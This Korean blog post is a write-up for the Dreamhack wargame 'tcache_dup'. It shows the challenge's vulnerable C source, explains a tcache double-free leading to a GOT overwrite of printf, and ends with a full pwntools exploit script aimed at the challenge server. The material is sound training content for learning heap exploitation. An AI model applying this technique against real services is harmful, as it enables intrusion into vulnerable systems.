e_yejun
Jun_ : Pwn
e_yejun
전체 방문자
오늘
어제
  • 분류 전체보기 (240)
    • Profile (1)
    • Pwnable (54)
    • Reversing (14)
    • Network (7)
    • Forensic (10)
    • Embedded (4)
    • Android (2)
    • Web (18)
    • 알고리즘 (42)
    • 프로그래밍 (24)
    • 프로젝트 (6)
    • 1-day (7)
    • CTF (15)
    • 기타 (33)
    • 일기장 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • dreamhack.io
  • how2heap
  • dvwa
  • Heap
  • 1-day
  • x64
  • BOF
  • wargame
  • rev-basic
  • X86

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
e_yejun

Jun_ : Pwn

Pwnable

[Dreamhack] tcache_dup - write up

2023. 2. 15. 23:00

Index

문제
보호기법 확인
tcache_dup.c
문제풀이
익스플로잇


tcache_dup
Description 이 문제는 작동하고 있는 서비스(tcache_dup)의 바이너리와 소스코드가 주어집니다. Tcache dup 공격 기법을 이용한 익스플로잇을 작성하여 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다. 플래그의 형식은 DH{...} 입니다. Environment Ubuntu 18.04 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Reference Tcache dup
https://dreamhack.io/wargame/challenges/60/

문제

보호기법 확인

canary와 nx가 걸려있다.

tcache_dup.c

// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[10];

void alarm_handler() {
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int create(int cnt) {
    int size;

    if(cnt > 10) {
        return -1; 
    }
    printf("Size: ");
    scanf("%d", &size);

    ptr[cnt] = malloc(size);

    if(!ptr[cnt]) {
        return -1;
    }

    printf("Data: ");
    read(0, ptr[cnt], size);
}

int delete() {
    int idx;

    printf("idx: ");
    scanf("%d", &idx);

    if(idx > 10) {
        return -1; 
    }

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}

int main() {
    int idx;
    int cnt = 0;

    initialize();

    while(1) {
        printf("1. Create\n");
        printf("2. Delete\n");
        printf("> ");
        scanf("%d", &idx);

        switch(idx) {
            case 1:
                create(cnt);
                cnt++;
                break;
            case 2:
                delete();
                break;
            default:
                break;
        }
    }

    return 0;
}

문제풀이

로컬 익스는 double free가 막히는데, 원격에서는 key 값 검증 없이, 그냥 double free가 된다. 으잉(?)

각 함수의 plt가 있으므로, double free로 해당 주소를 할당받아 Got overwrite로 print@got를 get_shell 함수 주소로 덮으면 셸을 얻을 수 있을 것 같다.

익스 방법에 대한 자세한 디버깅은 함께 풀기인 Tcache Poisoning에서 이해하자.

[Dreamhack] Tcache Poisoning - write up
Index문제 환경문제보호기법 확인tcache_poison.c문제 풀이Libc LeakExploit익스플로잇 코드 문제 환경Ubuntu 18.04 / glibc 2.27💡glibc 버전을 2.27로 맞춰줘야 한다. 2.31은 해당 취약점이 패치되었다. 문제보호기법 확인tcache_poison.c// Name: tcache_poison.c // Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now #include #include #include int main() { void *chunk = NULL; unsigned int size; int idx; setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0,..
https://she11.tistory.com/158

익스플로잇

from pwn import *
context.log_level='debug'

#p = process('./tcache_dup')
#libc = ('/lib/x86_64-linux-gnu/libc.so.6')
e = ELF('./tcache_dup')
p = remote('host3.dreamhack.games', 14626)
libc = ELF('./libc-2.27.so')

binsh = e.sym["get_shell"]
printf = e.got["printf"]

def slog(symbol, addr): return success(symbol + ": " + hex(addr))

def create(size, data):
    p.sendlineafter(b"> ", b'1')
    p.sendlineafter(b"Size: ", str(size))
    p.sendafter(b"Data: ", data)

def delete(idx):
    p.sendlineafter(b"> ", b'2')
    p.sendlineafter(b"idx: ", str(idx))

slog("printf_got", printf)
slog("binsh", binsh)

create(0x40, b'a'*8)
delete(0)
delete(0)

create(0x40, p64(printf))
create(0x40, b'b'*8)
create(0x40, p64(binsh))

p.interactive()


Uploaded by N2T

    'Pwnable' 카테고리의 다른 글
    • [Dreamhack] cmd_center - write up
    • [Dreamhack] sint - write up
    • [Dreamhack] Tcache Poisoning - write up
    • Heap 메모리 구조2 - bins
    e_yejun
    e_yejun
    정리노트 •_•

    티스토리툴바